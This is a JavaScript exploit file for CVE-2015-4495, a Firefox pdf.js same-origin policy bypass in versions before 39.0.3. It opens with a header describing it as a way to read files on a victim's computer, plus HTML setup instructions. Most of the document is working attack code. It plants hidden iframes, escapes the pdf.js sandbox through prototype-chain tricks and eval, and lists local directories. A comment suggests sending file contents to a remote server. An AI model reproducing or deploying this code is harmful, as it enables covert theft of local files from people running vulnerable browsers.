245 lines
No EOL
7.7 KiB
JavaScript
245 lines
No EOL
7.7 KiB
JavaScript
/*
|
|
# Exploit Title: Firefox < 39.03 pdf.js same origin policy exploit
|
|
# Date: 13-08-2014
|
|
# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/
|
|
# Software Link: http://ftp.mozilla.org/pub/firefox/releases/39.0/linux-x86_64/en-US/firefox-39.0.tar.bz2
|
|
# Version: 39.0 [Should work version before 39.0.3]
|
|
# Tested on: Linux (Ubuntu 14.04.3 LTS) [Should probably work in OSX]
|
|
# CVE : 2015-4495
|
|
|
|
# POC code taken from https://github.com/vincd/CVE-2015-4495
|
|
|
|
1. Description
|
|
This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit.
|
|
|
|
2. Proof of Concept
|
|
Create a index.html and copy and paste the following html into it:
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>CVE-2015-4495</title>
|
|
</head>
|
|
<body>
|
|
<h1>Test</h1>
|
|
<script type="text/javascript" src="./exploit.js" charset="utf-8"></script>
|
|
</body>
|
|
</html>
|
|
|
|
Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing.
|
|
|
|
3. Solution
|
|
Upgrade to the latest firefox ( > 39.0.3)
|
|
|
|
*/
|
|
|
|
var start_timeout=2000;
|
|
var sandbox_context_i=null;
|
|
var DIR_CACHE={};
|
|
var FILE_CACHE={};
|
|
var hidden=true;
|
|
var my_win_id=null;
|
|
|
|
function start() {
|
|
i=document.getElementById("i");
|
|
i2=document.getElementById("i2");
|
|
if(typeof sandboxContext!=='undefined') {
|
|
clearInterval(intVal);
|
|
var os = navigator.platform;
|
|
|
|
if (os.search("Mac") > -1 || os.search("Linux") > -1) {
|
|
// NOTE: Replace the following root directory into any directory of your
|
|
// choice. Can make it an array and loop through it.
|
|
get_dir("/", function(data) {
|
|
// nothing to do here...
|
|
});
|
|
}
|
|
}
|
|
}
|
|
|
|
function parse_directory_listing(dir, data) {
|
|
var pattern = '<tbody><tr><td><a class=';
|
|
var start = 0;
|
|
var listing = 'Listing:\n';
|
|
|
|
while ((start = data.search(pattern)) >= 0) {
|
|
var d = data.substring(start + pattern.length + 1),
|
|
end = d.search('>'),
|
|
f = d.substring(0, end);
|
|
f = f.split(' ');
|
|
var t = f[0].substring(0, f[0].length-1);
|
|
var n = f[1].substring(6, f[1].length-1);
|
|
listing += ' [' + t + '] ' + dir + '/' + n + '\n';
|
|
data = d.substring(end);
|
|
}
|
|
|
|
// NOTE: Replace with some other useful stuff. Eg: Read the file and do a post
|
|
// request to send all the content to a remote server.
|
|
alert(listing);
|
|
}
|
|
|
|
function get_dir(dir,callback,internal) {
|
|
get(dir,function() {
|
|
data=get_data(this);
|
|
var dir=location.href.toString();
|
|
dir=dir.replace(/^file\:\/\//i,'');
|
|
dir=decodeURIComponent(dir);
|
|
parse_directory_listing(dir, data);
|
|
}, 500, "%target_dir%", dir);
|
|
}
|
|
|
|
function xml2string(obj) {
|
|
return new XMLSerializer().serializeToString(obj);
|
|
}
|
|
|
|
function _(s,template,value) {
|
|
s=s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1];
|
|
s=s.substring(0,s.length-1);
|
|
if(template&&value)
|
|
s=s.replace(template,value);
|
|
|
|
s+=parse_directory_listing;
|
|
s+=__proto;
|
|
s+=xml2string;
|
|
s+=get_data;
|
|
s=s.replace(/\s\/\/.*\n/g,"");
|
|
s=s+";undefined";
|
|
|
|
return s;
|
|
}
|
|
|
|
function __proto(obj) {
|
|
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
|
|
}
|
|
|
|
function get_data(obj) {
|
|
data=null;
|
|
try {
|
|
data=obj.document.documentElement.innerHTML;
|
|
if (data.indexOf('dirListing') < 0) {
|
|
throw new Error();
|
|
}
|
|
} catch(e) {
|
|
if (this.document instanceof XMLDocument) {
|
|
data=xml2string(this.document);
|
|
} else {
|
|
try {
|
|
if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') {
|
|
data=this.document.body.firstChild.textContent;
|
|
} else {
|
|
throw new Error();
|
|
}
|
|
} catch(e) {
|
|
try {
|
|
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) {
|
|
return null;
|
|
} else {
|
|
throw new Error();
|
|
}
|
|
} catch(e) {
|
|
;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return data;
|
|
}
|
|
|
|
function get(path,callback,timeout,template,value){
|
|
callback = _(callback);
|
|
if(template && value) callback = callback.replace(template,value);
|
|
|
|
proto_prefix="file://";
|
|
var invisible_code="";
|
|
js_call1='javascript:'+invisible_code+_(function(){
|
|
try {
|
|
open("%url%","_self");
|
|
} catch(e) {
|
|
history.back();
|
|
} undefined;
|
|
}, "%url%", proto_prefix+path);
|
|
js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined';
|
|
sandboxContext(_(function() {
|
|
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
|
|
l = p.__lookupSetter__.call(i2.contentWindow,'location');
|
|
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
|
|
}));
|
|
setTimeout((function() {
|
|
sandboxContext(_(function() {
|
|
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
|
|
l = p.__lookupSetter__.call(i2.contentWindow,'location');
|
|
l.call(i2.contentWindow,window.wrappedJSObject.js_call2);
|
|
}));
|
|
}), timeout);
|
|
}
|
|
|
|
function get_sandbox_context() {
|
|
if(my_win_id==null) {
|
|
for(var i=0;i<20;i++) {
|
|
try {
|
|
if(window[i].location.toString().indexOf("view-source:")!=-1) {
|
|
my_win_id=i;;break;
|
|
}
|
|
} catch(e) {}
|
|
}
|
|
};
|
|
if(my_win_id==null) return;
|
|
clearInterval(sandbox_context_i);
|
|
object.data='view-source:' + blobURL;
|
|
window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,';
|
|
object.data='data:text/html,<html/>';
|
|
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe onload="' + _(function() {
|
|
window.wrappedJSObject.sandboxContext = (function(cmd) {
|
|
with(importFunction.constructor('return this')()) {
|
|
return eval(cmd);
|
|
}
|
|
});
|
|
}) + '"/>');
|
|
}
|
|
|
|
function setup_plugin() {
|
|
var i = document.createElement("iframe");
|
|
i.id = "i";
|
|
i.width = 1;
|
|
i.height = 1;
|
|
i.src = "data:application/xml,<" + "?xml version=\"1.0\"?><e><e1></e1></e>";
|
|
i.frameBorder = 0;
|
|
document.documentElement.appendChild(i);
|
|
i.onload=function() {
|
|
if(this.contentDocument.styleSheets.length>0) {
|
|
var i2 = document.createElement("iframe");
|
|
i2.id="i2";
|
|
i2.src="data:application/pdf,";
|
|
i2.frameBorder=0;
|
|
if(!hidden) {
|
|
i2.width="100%";
|
|
i2.height="700px";
|
|
} else {
|
|
i2.width=1;
|
|
i2.height=1;
|
|
}
|
|
document.documentElement.appendChild(i2);
|
|
pdfBlob=new Blob([''], { type:'application/pdf' });
|
|
blobURL = URL.createObjectURL(pdfBlob);
|
|
object = document.createElement('object');
|
|
object.data='data:application/pdf,';
|
|
if(hidden) {
|
|
object.style.display='none';
|
|
object.width=1;
|
|
object.height=1;
|
|
}
|
|
object.onload = (function() {
|
|
sandbox_context_i = setInterval(get_sandbox_context,200);
|
|
object.onload=null;
|
|
object.data='view-source:' + location.href;return;
|
|
});
|
|
document.documentElement.appendChild(object);
|
|
} else {
|
|
this.contentWindow.location.reload();
|
|
}
|
|
}
|
|
}
|
|
|
|
setTimeout(function() {
|
|
setup_plugin();
|
|
intVal = setInterval(start, 150);
|
|
}, start_timeout); |